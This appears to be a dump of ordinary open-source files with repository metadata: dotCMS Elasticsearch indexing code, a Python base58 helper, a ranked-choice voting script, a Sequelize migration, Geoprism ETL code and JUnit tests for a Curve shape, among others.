APILocator.getIndiciesAPI().point(newinfo); iapi.moveIndexToLocalNode(workingIndex); iapi.moveIndexToLocalNode(liveIndex); return timeStamp; } catch (Exception e) { throw new ElasticSearchException(e.getMessage(), e); } } else return initIndex(); } public boolean isInFullReindex() throws DotDataException { return isInFullReindex(DbConnectionFactory.getConnection()); } public boolean isInFullReindex(Connection conn) throws DotDataException { IndiciesInfo info=APILocator.getIndiciesAPI().loadIndicies(conn); return info.reindex_working!=null && info.reindex_live!=null; } public synchronized void fullReindexSwitchover() { fullReindexSwitchover(DbConnectionFactory.getConnection()); } /** * This will drop old index and will point read aliases to new index. * This method should be called after call to {@link #setUpFullReindex()} * @return */ public synchronized void fullReindexSwitchover(Connection conn) { try { if(!isInFullReindex()) return; IndiciesInfo info=APILocator.getIndiciesAPI().loadIndicies(conn); Logger.info(this, "Executing switchover from old index [" +info.working+","+info.live+"] and new index [" +info.reindex_working+","+info.reindex_live+"]"); final String oldw=info.working; final String oldl=info.live; IndiciesInfo newinfo=new IndiciesInfo(); newinfo.working=info.reindex_working; newinfo.live=info.reindex_live; APILocator.getIndiciesAPI().point(conn,newinfo); iapi.moveIndexBackToCluster(newinfo.working); iapi.moveIndexBackToCluster(newinfo.live); ArrayList<String> list=new ArrayList<String>(); list.add(newinfo.working); list.add(newinfo.live); optimize(list); } catch (Exception e) { throw new ElasticSearchException(e.getMessage(), e); } } public boolean delete(String indexName) { return iapi.delete(indexName); } public boolean optimize(List<String> indexNames) { return iapi.optimize(indexNames); } public void addContentToIndex(final Contentlet content) throws DotHibernateException { addContentToIndex(content, true); } public void addContentToIndex(final Contentlet content, final boolean deps) throws DotHibernateException { addContentToIndex(content,deps,false); } public void addContentToIndex(final Contentlet content, final boolean deps, boolean indexBeforeCommit) throws DotHibernateException { addContentToIndex(content,deps,indexBeforeCommit,false); } public void addContentToIndex(final Contentlet content, final boolean deps, boolean indexBeforeCommit, final boolean reindexOnly) throws DotHibernateException { addContentToIndex(content,deps,indexBeforeCommit,reindexOnly,null); } public void addContentToIndex(final Contentlet content, final boolean deps, boolean indexBeforeCommit, final boolean reindexOnly, final BulkRequestBuilder bulk) throws DotHibernateException { if(content==null || !UtilMethods.isSet(content.getIdentifier())) return; Runnable indexAction=new Runnable() { public void run() { try { Client client=new ESClient().getClient(); BulkRequestBuilder req = (bulk==null) ? client.prepareBulk() : bulk; // http://jira.dotmarketing.net/browse/DOTCMS-6886 // check for related content to reindex List<Contentlet> contentToIndex=new ArrayList<Contentlet>(); contentToIndex.add(content); if(deps) contentToIndex.addAll(loadDeps(content)); indexContentletList(req, contentToIndex,reindexOnly); if(bulk==null && req.numberOfActions()>0) req.execute().actionGet(); } catch (Exception e) { Logger.error(ESContentFactoryImpl.class, e.getMessage(), e); } } }; if(bulk!=null || indexBeforeCommit) { indexAction.run(); } else { // add a commit listener to index the contentlet if the entire // transaction finish clean HibernateUtil.addCommitListener(content.getInode(),indexAction); } } private void indexContentletList(BulkRequestBuilder req, List<Contentlet> contentToIndex, boolean reindexOnly) throws DotStateException, DotDataException, DotSecurityException, DotMappingException { for(Contentlet con : contentToIndex) { String id=con.getIdentifier()+"_"+con.getLanguageId(); IndiciesInfo info=APILocator.getIndiciesAPI().loadIndicies(); Gson gson=new Gson(); String mapping=null; if(con.isWorking()) { mapping=gson.toJson(mappingAPI.toMap(con)); if(!reindexOnly) req.add(new IndexRequest(info.working, "content", id) .source(mapping)); if(info.reindex_working!=null) req.add(new IndexRequest(info.reindex_working, "content", id) .source(mapping)); } if(con.isLive()) { if(mapping==null) mapping=gson.toJson(mappingAPI.toMap(con)); if(!reindexOnly) req.add(new IndexRequest(info.live, "content", id) .source(mapping)); if(info.reindex_live!=null) req.add(new IndexRequest(info.reindex_live, "content", id) .source(mapping)); } } } @SuppressWarnings("unchecked") private List<Contentlet> loadDeps(Contentlet content) throws DotDataException, DotSecurityException { List<Contentlet> contentToIndex=new ArrayList<Contentlet>(); List<String> depsIdentifiers=mappingAPI.dependenciesLeftToReindex(content); for(String ident : depsIdentifiers) { // get working and live version for all languages based on the identifier // String sql = "select distinct inode from contentlet join contentlet_version_info " + // " on (inode=live_inode or inode=working_inode) and contentlet.identifier=?"; String sql = "select working_inode,live_inode from contentlet_version_info where identifier=?"; DotConnect dc = new DotConnect(); dc.setSQL(sql); dc.addParam(ident); List<Map<String,String>> ret = dc.loadResults(); List<String> inodes = new ArrayList<String>(); for(Map<String,String> m : ret) { String workingInode = m.get("working_inode"); String liveInode = m.get("live_inode"); inodes.add(workingInode); if(UtilMethods.isSet(liveInode) && !workingInode.equals(liveInode)){ inodes.add(liveInode); } } for(String inode : inodes) { Contentlet con=APILocator.getContentletAPI().find(inode, APILocator.getUserAPI().getSystemUser(), false); contentToIndex.add(con); } } return contentToIndex; } public void removeContentFromIndex(final Contentlet content) throws DotHibernateException { removeContentFromIndex(content, false); } private void removeContentFromIndex(final Contentlet content, final boolean onlyLive, final List<Relationship> relationships) throws DotHibernateException { Runnable indexRunner = new Runnable() { public void run() { try { String id=content.getIdentifier()+"_"+content.getLanguageId(); Client client=new ESClient().getClient(); BulkRequestBuilder bulk=client.prepareBulk(); IndiciesInfo info=APILocator.getIndiciesAPI().loadIndicies(); bulk.add(client.prepareDelete(info.live, "content", id)); if(info.reindex_live!=null) bulk.add(client.prepareDelete(info.reindex_live, "content", id)); if(!onlyLive) { // here we search for relationship fields pointing to this // content to be deleted. Those contentlets are reindexed // to avoid left those fields making noise in the index for(Relationship rel : relationships) { String q = ""; boolean isSameStructRelationship = rel.getParentStructureInode().equalsIgnoreCase(rel.getChildStructureInode()); if(isSameStructRelationship) q = "+type:content +(" + rel.getRelationTypeValue() + "-parent:" + content.getIdentifier() + " " + rel.getRelationTypeValue() + "-child:" + content.getIdentifier() + ") "; else q = "+type:content +" + rel.getRelationTypeValue() + ":" + content.getIdentifier(); List<Contentlet> related = APILocator.getContentletAPI().search(q, -1, 0, null, APILocator.getUserAPI().getSystemUser(), false); indexContentletList(bulk, related, false); } bulk.add(client.prepareDelete(info.working, "content", id)); if(info.reindex_working!=null) bulk.add(client.prepareDelete(info.reindex_working, "content", id)); } bulk.execute().actionGet(); } catch(Exception ex) { throw new ElasticSearchException(ex.getMessage(),ex); } } }; HibernateUtil.addCommitListener(content.getIdentifier(),indexRunner); } public void removeContentFromIndex(final Contentlet content, final boolean onlyLive) throws DotHibernateException { if(content==null || !UtilMethods.isSet(content.getIdentifier())) return; List<Relationship> relationships = RelationshipFactory.getAllRelationshipsByStructure(content.getStructure()); // add a commit listener to index the contentlet if the entire // transaction finish clean removeContentFromIndex(content, onlyLive, relationships); } public void removeContentFromLiveIndex(final Contentlet content) throws DotHibernateException { removeContentFromIndex(content, true); } public void removeContentFromIndexByStructureInode(String structureInode) throws DotDataException { String structureName=StructureCache.getStructureByInode(structureInode).getVelocityVarName(); IndiciesInfo info=APILocator.getIndiciesAPI().loadIndicies(); // collecting indexes List<String> idxs=new ArrayList<String>(); idxs.add(info.working); idxs.add(info.live); if(info.reindex_working!=null) idxs.add(info.reindex_working); if(info.reindex_live!=null) idxs.add(info.reindex_live); String[] idxsArr=new String[idxs.size()]; idxsArr=idxs.toArray(idxsArr); // deleting those with the specified structure inode new ESClient().getClient().prepareDeleteByQuery() .setIndices(idxsArr) .setQuery(QueryBuilders.queryString("+structurename:"+structureName)) .execute().actionGet(); } public void fullReindexAbort() { try { if(!isInFullReindex()) return; IndiciesInfo info=APILocator.getIndiciesAPI().loadIndicies(); final String rew=info.reindex_working; final String rel=info.reindex_live; IndiciesInfo newinfo=new IndiciesInfo(); newinfo.working=info.working; newinfo.live=info.live; APILocator.getIndiciesAPI().point(newinfo); iapi.moveIndexBackToCluster(rew); iapi.moveIndexBackToCluster(rel); } catch (Exception e) { throw new ElasticSearchException(e.getMessage(), e); } } public boolean isDotCMSIndexName(String indexName) { return indexName.startsWith(ES_WORKING_INDEX_NAME+"_") || indexName.startsWith(ES_LIVE_INDEX_NAME+"_"); } public List<String> listDotCMSClosedIndices() { List<String> indexNames=new ArrayList<String>(); List<String> list=APILocator.getESIndexAPI().getClosedIndexes(); for(String idx : list) if(isDotCMSIndexName(idx)) indexNames.add(idx); return indexNames; } /** * Returns a list of dotcms working and live indices. * @return */ public List<String> listDotCMSIndices() { Client client=new ESClient().getClient(); Map<String,IndexStatus> indices=APILocator.getESIndexAPI().getIndicesAndStatus(); List<String> indexNames=new ArrayList<String>(); for(String idx : indices.keySet()) if(isDotCMSIndexName(idx)) indexNames.add(idx); List<String> existingIndex=new ArrayList<String>(); for(String idx : indexNames) if(client.admin().indices().exists(new IndicesExistsRequest(idx)).actionGet().isExists()) existingIndex.add(idx); indexNames=existingIndex; List<String> indexes = new ArrayList<String>(); indexes.addAll(indexNames); Collections.sort(indexes, new IndexSortByDate()); return indexes; } public void activateIndex(String indexName) throws DotDataException { IndiciesInfo info=APILocator.getIndiciesAPI().loadIndicies(); IndiciesInfo newinfo=new IndiciesInfo(); newinfo.working=info.working; newinfo.live=info.live; newinfo.reindex_working=info.reindex_working; newinfo.reindex_live=info.reindex_live; newinfo.site_search=info.site_search; if(indexName.startsWith(ES_WORKING_INDEX_NAME)) { newinfo.working=indexName; } else if(indexName.startsWith(ES_LIVE_INDEX_NAME)) { newinfo.live=indexName; } APILocator.getIndiciesAPI().point(newinfo); } public void deactivateIndex(String indexName) throws DotDataException, IOException { IndiciesInfo info=APILocator.getIndiciesAPI().loadIndicies(); IndiciesInfo newinfo=new IndiciesInfo(); newinfo.working=info.working; newinfo.live=info.live; newinfo.reindex_working=info.reindex_working; newinfo.reindex_live=info.reindex_live; newinfo.site_search=info.site_search; if(indexName.equals(info.working)) { newinfo.working=null; } else if(indexName.equals(info.live)) { newinfo.live=null; } else if(indexName.equals(info.reindex_working)) { iapi.moveIndexBackToCluster(info.reindex_working); newinfo.reindex_working=null; } else if(indexName.equals(info.reindex_live)) { iapi.moveIndexBackToCluster(info.reindex_live); newinfo.reindex_live=null; } APILocator.getIndiciesAPI().point(newinfo); } public synchronized List<String> getCurrentIndex() throws DotDataException { List<String> newIdx = new ArrayList<String>(); IndiciesInfo info=APILocator.getIndiciesAPI().loadIndicies(); newIdx.add(info.working); newIdx.add(info.live); return newIdx; } public synchronized List<String> getNewIndex() throws DotDataException { List<String> newIdx = new ArrayList<String>(); IndiciesInfo info=APILocator.getIndiciesAPI().loadIndicies(); if(info.reindex_working!=null) newIdx.add(info.reindex_working); if(info.reindex_live!=null) newIdx.add(info.reindex_live); return newIdx; } private class IndexSortByDate implements Comparator<String> { public int compare(String o1, String o2) { if(o1 == null || o2==null ){ return 0; } if(o1.indexOf("_") <0 ){ return 1; } if(o2.indexOf("_") <0 ){ return -1; } String one = o1.split("_")[1]; String two = o2.split("_")[1]; return two.compareTo(one); } } public String getActiveIndexName(String type) throws DotDataException { IndiciesInfo info=APILocator.getIndiciesAPI().loadIndicies(); if(type.equalsIgnoreCase(ES_WORKING_INDEX_NAME)) { return info.working; } else if(type.equalsIgnoreCase(ES_LIVE_INDEX_NAME)) { return info.live; } return null; } }
austindlawless/dotCMS
src/com/dotcms/content/elasticsearch/business/ESContentletIndexAPI.java
Java
gpl-3.0
23,993
""" Copied from https://bitcointalk.org/index.php?topic=1026.0 (public domain) """ from hashlib import sha256 if str != bytes: def ord(c): # Python 3.x return c def chr(n): return bytes((n,)) __b58chars = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz' __b58base = len(__b58chars) def b58encode(v): """ encode v, which is a string of bytes, to base58. """ long_value = 0 for (i, c) in enumerate(v[::-1]): long_value += (256 ** i) * ord(c) result = '' while long_value >= __b58base: div, mod = divmod(long_value, __b58base) result = __b58chars[mod] + result long_value = div result = __b58chars[long_value] + result # Bitcoin does a little leading-zero-compression: # leading 0-bytes in the input become leading-1s nPad = 0 for c in v: if c == '\0': nPad += 1 else: break return (__b58chars[0]*nPad) + result def b58decode(v, length): """ decode v into a string of len bytes """ long_value = 0 for (i, c) in enumerate(v[::-1]): long_value += __b58chars.find(c) * (__b58base**i) result = bytes() while long_value >= 256: div, mod = divmod(long_value, 256) result = chr(mod) + result long_value = div result = chr(long_value) + result nPad = 0 for c in v: if c == __b58chars[0]: nPad += 1 else: break result = chr(0) * nPad + result if length is not None and len(result) != length: return None return result def _parse_address(str_address): raw = b58decode(str_address, 25) if raw is None: raise AttributeError("'{}' is invalid base58 of decoded length 25" .format(str_address)) version = raw[0] checksum = raw[-4:] vh160 = raw[:-4] # Version plus hash160 is what is checksummed h3 = sha256(sha256(vh160).digest()).digest() if h3[0:4] != checksum: raise AttributeError("'{}' has an invalid address checksum" .format(str_address)) return ord(version), raw[1:-4] def get_bcaddress_version(str_address): """ Reverse compatibility non-python implementation """ try: return _parse_address(str_address)[0] except AttributeError: return None def get_bcaddress(str_address): """ Reverse compatibility non-python implementation """ try: return _parse_address(str_address)[1] except AttributeError: return None def address_version(str_address): return _parse_address(str_address)[0] def address_bytes(str_address): return _parse_address(str_address)[1]
simplecrypto/cryptokit
cryptokit/base58.py
Python
gpl-3.0
2,723
// For ntohX / htonX #ifdef _WIN32 #include <winsock2.h> #else #include <arpa/inet.h> #endif #include "byte_order.h" namespace net { uint16_t ntoh( const uint16_t& src ) { return ntohs(src); } uint32_t ntoh( const uint32_t& src ) { return ntohl(src); } uint16_t hton( const uint16_t& src ) { return htons(src); } uint32_t hton( const uint32_t& src ) { return htonl(src); } } // namespace net
IronSavior/phlegethon
src/net/byte_order.cpp
C++
gpl-3.0
411
const path = require('path') const webpack = require('webpack') var config = { devtool: 'source-map', entry: './lib/index.js', output: { path: path.join(__dirname, 'dist'), filename: 'napchart.min.js', library: 'Napchart', libraryTarget: 'var' }, module: { rules: [ { test: /\.js$/, use: [{ loader: 'buble-loader', options: { objectAssign: 'Object.assign' } }] } ] } } if (process.env.NODE_ENV == 'production') { config.plugins = [ new webpack.DefinePlugin({ 'process.env': { 'NODE_ENV': JSON.stringify('production') } }), new webpack.optimize.UglifyJsPlugin({minimize: false}) ] } module.exports = config
larskarbo/napchart
webpack.config.js
JavaScript
gpl-3.0
798
// ----------- General Utility Functions ----------- function get_answer_div(answer_id) { return dom_lookup("answer-", answer_id) } function get_answer_div_desc_div(answer_div) { return dom_lookup("desc-", answer_div.id) } function get_question_desc_div(question_id) { return dom_lookup("question-desc-", question_id) } function get_question_selected_div(question_id) { return dom_lookup("question-selected-", question_id) } function get_question_unselected_div(question_id) { return dom_lookup("question-unselected-", question_id) } function get_verify_ballot_div() { return dom_lookup("verify-ballot-area", "") } function get_submit_button() { return dom_lookup("submit-btn", "") } function dom_lookup(prefix, id) { return document.getElementById("" + prefix + id) } function filter_visible(arr) { /* Take an array-like object containing DOM elements, and use j-query * to filter out the visible ones * * Param arr - array-like object containing DOM elements * * Returns - array containing only visible elements */ return Array.prototype.filter.call(arr, function(test_element) { return $(test_element).is(":visible");} ) } function is_selected(answer_id, question_id) { /* Return true if an answer belonging to a question is selected */ var sel_div = get_question_selected_div(question_id) return get_answer_div(answer_id).parentNode == sel_div } // ----------- Less-General Helper Functions ----------- function build_tutorial_block(next_to_element, tut_text) { /* Display a tutorial block */ if($(next_to_element).is(":visible")) { var max_tut_width = "150" // Just a magic number for look var tut_border_add = 10 // In css, border is about this width... var tut_div = document.createElement("div") // The class is used to style the object, and to remove it later tut_div.className = "tutorial_child" // Attach event listeners so it can disappear on mouseover tut_div.addEventListener("mouseenter", function () { this.style.opacity=0; }, false) tut_div.addEventListener("mouseleave", function () { this.style.opacity=1; }, false) tut_div.innerHTML = tut_text var src_loc = next_to_element.getBoundingClientRect() tut_div.style.top = (src_loc.top + window.pageYOffset) + "px" var tut_width = src_loc.left - window.pageXOffset - tut_border_add if(tut_width > max_tut_width) { tut_width = max_tut_width } tut_div.style.width = tut_width + "px" tut_div.style.left = (src_loc.left - tut_width - tut_border_add) + "px" document.body.appendChild(tut_div) } } function ballot_change_made(func_after) { /* Handle visual changes necessary after a change on the ballot */ $("#check-ballot-btn").slideDown("fast", function() { $("#form").slideUp("fast", function() { $("#verify-ballot-area").slideUp("fast", function() { handle_tutorial() if(func_after !== undefined) { func_after() } }) }) }) } function number_ballot(question_id) { /* Number the selected ballot options for a given question */ var sel_div = get_question_selected_div(question_id) var unsel_div = get_question_unselected_div(question_id) for( var i = 0; i < sel_div.childNodes.length; i++ ) { var selected_ans_node = sel_div.childNodes[i] var ans_rank = document.getElementById("rank-"+selected_ans_node.id) ans_rank.innerHTML = i + 1 } for( var i = 0; i < unsel_div.childNodes.length; i++ ) { var unselected_ans_node = unsel_div.childNodes[i] var ans_rank = document.getElementById("rank-"+unselected_ans_node.id) ans_rank.innerHTML = "&nbsp;" } } // ----------- Tutorial Functions ----------- function handle_tutorial() { /* Display the tutorial blocks */ remove_tutorial_blocks() var TutorialQuestionState = Object.freeze( {ADD:0, REORDER:1, VERIFY:2, SUBMIT:3, NONE:4}) var add_help = "Drag one or more options into the &quot;selected&quot; area to vote for them." var reorder_help = "Reorder options to match your preferences, or remove items you no longer wish to vote for." var nochoices_help = "Make voting selections above before verifying your ballot." var submit_help = "Verify your preferences. Make changes above if necessary. Submit when you&apos;re ready." var state_text_map = [add_help, reorder_help, nochoices_help, submit_help] // Display one tutorial block per question for( var question in question_list ) { var question_id = question_list[question] var sel_div = get_question_selected_div(question_id) var unsel_div = get_question_unselected_div(question_id) var q_state = 0; var next_to = sel_div; if( sel_div.childNodes.length < 2 ) { q_state = TutorialQuestionState.ADD next_to = unsel_div } else { q_state = TutorialQuestionState.REORDER next_to = sel_div } build_tutorial_block(next_to, state_text_map[q_state]) } var verify_ballot_div = get_verify_ballot_div() var submit_btn = get_submit_button() // Default these two to the verify state - if it's not visible, // build_tutorial_block won't display it... var ver_state = TutorialQuestionState.VERIFY var ver_next_to = verify_ballot_div if( $(submit_btn).is(":visible") ) { ver_state = TutorialQuestionState.SUBMIT } build_tutorial_block(ver_next_to, state_text_map[ver_state]) } function remove_tutorial_blocks() { /* Clear all tutorial blocks from the screen */ var element_list = [] do { for(var i = 0; i < element_list.length; i++) { document.body.removeChild(element_list[i]) } element_list = document.body.getElementsByClassName("tutorial_child") } while( element_list.length > 0 ) } $(document).ready( function() { // Run handle_tutorial as soon as the DOM is ready handle_tutorial() // Make the questions sortable, but don't allow sorting between questions for( var question in question_list ) { var question_id = question_list[question] var sel_div = get_question_selected_div(question_id) var unsel_div = get_question_unselected_div(question_id) var desc_div = get_question_desc_div(question_id) // What I do with update down there is weird - I create a function // that returns a function then call it. That results in creating // a new scoping specifically for local_question_id $(sel_div).sortable({ placeholder: "poll_answer_placeholder", connectWith: "#" + unsel_div.id, update: function() { var local_question_id = question_id return function(event, ui) { number_ballot(local_question_id) ballot_change_made() } }(), // Whenever receive happense on the selected div, // update happens too. No need to duplicate things... /*receive: function(event, ui) { ballot_change_made() },*/ }) $(unsel_div).sortable({ placeholder: "poll_answer_placeholder", connectWith: "#" + sel_div.id, receive: function(event, ui) { ballot_change_made() }, }) } } ) // ----------- Functions Referenced In HTML ----------- function validate_ballot() { /* Occurs when the "validate ballot" button is pressed */ var form_entries = document.getElementById("constructed-form-entries") var validate = document.getElementById("verify-ballot-div-area") var some_answers = false form_entries.innerHTML = "" validate.innerHTML = "" // Build the validation view and the response form for each question for( var question in question_list ) { var question_id = question_list[question] var sel_div = get_question_selected_div(question_id) var desc_div = get_question_desc_div(question_id) var question_validate_div = document.createElement("div") question_validate_div.className = "poll_question" var question_validate_desc = document.createElement("div") question_validate_desc.innerHTML = desc_div.innerHTML question_validate_desc.classList = desc_div.classList question_validate_div.appendChild(question_validate_desc) if( sel_div.childNodes.length == 0 ) { var new_ans = document.createElement("div") new_ans.className = "poll_answer_desc" new_ans.innerHTML = "No choices selected" question_validate_div.appendChild(new_ans) } for( var i = 0; i < sel_div.childNodes.length; i++ ) { some_answers = true var selected_ans_node = sel_div.childNodes[i] var new_input = document.createElement("input") new_input.type = "hidden" new_input.name = selected_ans_node.id new_input.value = i + 1 form_entries.appendChild(new_input) var new_ans = document.createElement("div") new_ans.className = "poll_answer_desc" new_ans.innerHTML = "" + (i+1) + ". " + get_answer_div_desc_div(selected_ans_node).innerHTML question_validate_div.appendChild(new_ans) } validate.appendChild(question_validate_div) } if( some_answers ) { $("#form").show() } else { $("#form").hide() } $("#check-ballot-btn").slideUp("fast") toggle_visible_block("verify-ballot-area", true) }
kc0bfv/RankedChoiceRestaurants
RankedChoiceRestaurants/static/voting/ranked_choice.js
JavaScript
gpl-3.0
9,999
import { QueryInterface } from "sequelize"; export default { up: (queryInterface: QueryInterface) => { return Promise.resolve() .then(() => queryInterface.bulkInsert("dimension_bridges", [ { type: "hookshot_webhook", name: "Webhooks Bridge", avatarUrl: "/assets/img/avatars/webhooks.png", isEnabled: true, isPublic: true, description: "Webhooks to Matrix", }, ])); }, down: (queryInterface: QueryInterface) => { return Promise.resolve() .then(() => queryInterface.bulkDelete("dimension_bridges", { type: "hookshot_webhook", })); } }
turt2live/matrix-dimension
src/db/migrations/20211202181745-AddHookshotWebhookBridgeRecord.ts
TypeScript
gpl-3.0
782
<?php /** * QuittanceTable * * This class has been auto-generated by the Doctrine ORM Framework */ class QuittanceTable extends Doctrine_Table { /** * Returns an instance of this class. * * @return object QuittanceTable */ public static function getInstance() { return Doctrine_Core::getTable('Quittance'); } }
MichaelMure/Ordo
lib/model/doctrine/QuittanceTable.class.php
PHP
gpl-3.0
360
package visualization.utilities; import java.util.Collection; import java.util.Collections; import java.util.HashMap; public class BidirectionalHashMap<K1,K2> { protected HashMap<K1,K2> left = new HashMap<K1, K2>(); protected HashMap<K2,K1> right= new HashMap<K2, K1>(); public void put(K1 k1, K2 k2) { left.put(k1,k2); right.put(k2,k1); } public void remove(Object key) { if (left.containsKey(key)) right.remove(left.remove(key)); else left.remove(right.remove(key)); } @SuppressWarnings("unchecked") public <T> T get(Object key) { Object ret = left.get(key); if (ret==null) ret = right.get(key); return (T)ret; } public int size() { return left.size(); } public Collection<K1> getLeftElements() { return Collections.unmodifiableSet(left.keySet()); } public Collection<K2> getRightElements() { return Collections.unmodifiableSet(right.keySet()); } public void clear() { left.clear(); right.clear(); } @SuppressWarnings("unchecked") public <T> T getRight(Object key) { Object ret = right.get(key); return (T)ret; } @SuppressWarnings("unchecked") public <T> T getLeft(Object key) { Object ret = left.get(key); return (T)ret; } }
Integrative-Transcriptomics/inPHAP
HaplotypeViewer/visualization/utilities/BidirectionalHashMap.java
Java
gpl-3.0
1,215
/** * Copyright (c) 2015 TerraFrame, Inc. All rights reserved. * * This file is part of Geoprism(tm). * * Geoprism(tm) is free software: you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as * published by the Free Software Foundation, either version 3 of the * License, or (at your option) any later version. * * Geoprism(tm) is distributed in the hope that it will be useful, but * WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with Geoprism(tm). If not, see <http://www.gnu.org/licenses/>. */ package net.geoprism.data.etl; import java.util.Collection; import java.util.Collections; import java.util.Comparator; import java.util.HashMap; import java.util.LinkedList; import java.util.List; import java.util.Map; import com.runwaysdk.business.ontology.Term; import com.runwaysdk.dataaccess.transaction.Transaction; import com.runwaysdk.query.OIterator; import com.runwaysdk.query.QueryFactory; import com.runwaysdk.system.gis.geo.AllowedIn; import com.runwaysdk.system.gis.geo.GeoEntity; import com.runwaysdk.system.gis.geo.Universal; import com.runwaysdk.system.metadata.MdAttribute; import net.geoprism.ontology.GeoEntityUtil; public class TargetFieldGeoEntityBinding extends TargetFieldGeoEntityBindingBase { private static class UniversalAttributeBindingComparator implements Comparator<UniversalAttributeBinding> { private Map<String, Integer> indices; public UniversalAttributeBindingComparator(Collection<Term> terms) { this.indices = new HashMap<String, Integer>(); int index = 0; for (Term term : terms) { this.indices.put(term.getOid(), index++); } } @Override public int compare(UniversalAttributeBinding o1, UniversalAttributeBinding o2) { Integer i1 = this.indices.get(o1.getUniversalId()); Integer i2 = this.indices.get(o2.getUniversalId()); return i1.compareTo(i2); } } private static final long serialVersionUID = -2005836550; public TargetFieldGeoEntityBinding() { super(); } @Override @Transaction public void delete() { List<UniversalAttributeBinding> attributes = this.getUniversalAttributes(); for (UniversalAttributeBinding attribute : attributes) { attribute.delete(); } super.delete(); } public List<UniversalAttributeBinding> getUniversalAttributes() { List<UniversalAttributeBinding> list = new LinkedList<UniversalAttributeBinding>(); UniversalAttributeBindingQuery query = new UniversalAttributeBindingQuery(new QueryFactory()); query.WHERE(query.getField().EQ(this)); OIterator<? extends UniversalAttributeBinding> iterator = query.getIterator(); try { while (iterator.hasNext()) { UniversalAttributeBinding binding = iterator.next(); list.add(binding); } return list; } finally { iterator.close(); } } @Override protected void populate(TargetField field) { super.populate(field); GeoEntity root = this.getGeoEntity(); Collection<Term> descendants = GeoEntityUtil.getOrderedDescendants(root.getUniversal(), AllowedIn.CLASS); TargetFieldGeoEntity tField = (TargetFieldGeoEntity) field; tField.setRoot(root); List<UniversalAttributeBinding> attributes = this.getUniversalAttributes(); Collections.sort(attributes, new UniversalAttributeBindingComparator(descendants)); for (UniversalAttributeBinding attribute : attributes) { MdAttribute sourceAttribute = attribute.getSourceAttribute(); String attributeName = sourceAttribute.getAttributeName(); String label = sourceAttribute.getDisplayLabel().getValue(); Universal universal = attribute.getUniversal(); tField.addUniversalAttribute(attributeName, label, universal); } tField.setUseCoordinatesForLocationAssignment(this.getUseCoordinatesForLocationAssignment()); tField.setCoordinateObject(this.getLatitudeAttributeName(), this.getLongitudeAttributeName()); } @Override public TargetFieldIF getTargetField() { TargetFieldGeoEntity field = new TargetFieldGeoEntity(); populate(field); return field; } }
terraframe/geodashboard
geoprism-server/src/main/java-gen/stub/net/geoprism/data/etl/TargetFieldGeoEntityBinding.java
Java
gpl-3.0
4,444
package SeniorProjectTests.DrawShapes.Curve; import static org.junit.Assert.*; import org.junit.AfterClass; import org.junit.Test; import com.cburch.draw.shapes.Curve; import com.cburch.logisim.data.Location; /* * 1. tests that it matches the position correctly in the middle location * 2. makes sure the method returns false when matches is given null * 3. the method should return false when the input is null * 4. tests that it matches the position correctly in the first location * 5. tests that it matches the position correctly in the third location */ public class Test_draw_shapes_Curve_matches { @AfterClass public static void tearDownAfterClass() throws Exception { } @Test public void test1() { //tests that it matches the positions correctly in the middle location Location loc1 = Location.create(10, 20); Location loc2 = Location.create(15, 25); Location loc3 = Location.create(20, 30); Location loca1 = Location.create(10, 20); Location loca2 = Location.create(16, 25); Location loca3 = Location.create(20, 30); Curve cur1 = new Curve(loc1, loc2, loc3); Curve cur2 = new Curve(loc1, loc2, loc3); Curve cur3 = new Curve(loca1, loca2, loca3); Curve cur4 = new Curve(loca2, loc2, loca3); assertEquals(true, cur1.matches(cur2)); assertNotEquals(true, cur1.matches(cur3)); assertNotEquals(true, cur1.matches(cur4)); } @Test public void test2() { //makes sure the method returns false when matches is given null Location loc1 = Location.create(10, 20); Location loc2 = Location.create(15, 25); Location loc3 = Location.create(20, 30); Location loca1 = Location.create(10, 20); Location loca2 = Location.create(16, 25); Location loca3 = Location.create(20, 30); Curve cur1 = new Curve(loc1, loc2, loc3); Curve cur2 = new Curve(loc1, loc2, loc3); Curve cur3 = new Curve(loca1, loca2, loca3); Curve cur4 = new Curve(loca2, loc2, loca3); assertEquals(false, cur1.matches(null)); assertEquals(false, cur2.matches(null)); assertEquals(false, cur3.matches(null)); assertEquals(false, cur4.matches(null)); } @Test public void test3() { //the method should return false when the input is null Location loc1 = Location.create(10, 20); Location loc2 = Location.create(15, 25); Location loc3 = Location.create(20, 30); Location loca1 = Location.create(10, 20); Location loca2 = Location.create(16, 25); Location loca3 = Location.create(20, 30); Curve cur1 = new Curve(loc1, loc2, loc3); Curve cur2 = new Curve(loc1, loc2, loc3); Curve cur3 = new Curve(loca1, loca2, loca3); Curve cur4 = new Curve(loca2, loc2, loca3); assertEquals(false, cur1.matches(null)); assertEquals(false, cur2.matches(null)); assertNotEquals(true, cur3.matches(null)); assertNotEquals(true, cur4.matches(null)); } @Test public void test4() { //tests that it matches the position correctly in the first location Location loc1 = Location.create(10, 20); Location loc2 = Location.create(15, 25); Location loc3 = Location.create(20, 30); Location loca1 = Location.create(5, 21); Location loca2 = Location.create(15, 25); Location loca3 = Location.create(20, 30); Curve cur1 = new Curve(loc1, loc2, loc3); Curve cur2 = new Curve(loc1, loc2, loc3); Curve cur3 = new Curve(loca1, loca2, loca3); Curve cur4 = new Curve(loca1, loca2, loca3); assertEquals(true, cur1.matches(cur2)); assertNotEquals(true, cur1.matches(cur3)); assertNotEquals(true, cur1.matches(cur4)); } @Test public void test5() { //tests that it matches the position correctly in the third location Location loc1 = Location.create(10, 20); Location loc2 = Location.create(15, 25); Location loc3 = Location.create(20, 30); Location loca1 = Location.create(10, 2); Location loca2 = Location.create(15, 25); Location loca3 = Location.create(171, 328); Curve cur1 = new Curve(loc1, loc2, loc3); Curve cur2 = new Curve(loc1, loc2, loc3); Curve cur3 = new Curve(loca1, loca2, loca3); Curve cur4 = new Curve(loca1, loca2, loca3); assertEquals(true, cur1.matches(cur2)); assertNotEquals(true, cur1.matches(cur3)); assertNotEquals(true, cur1.matches(cur4)); } }
aaorellana/Logisim-SeniorProject
TestCases/SeniorProjectTests/DrawShapes/Curve/Test_draw_shapes_Curve_matches.java
Java
gpl-3.0
4,222
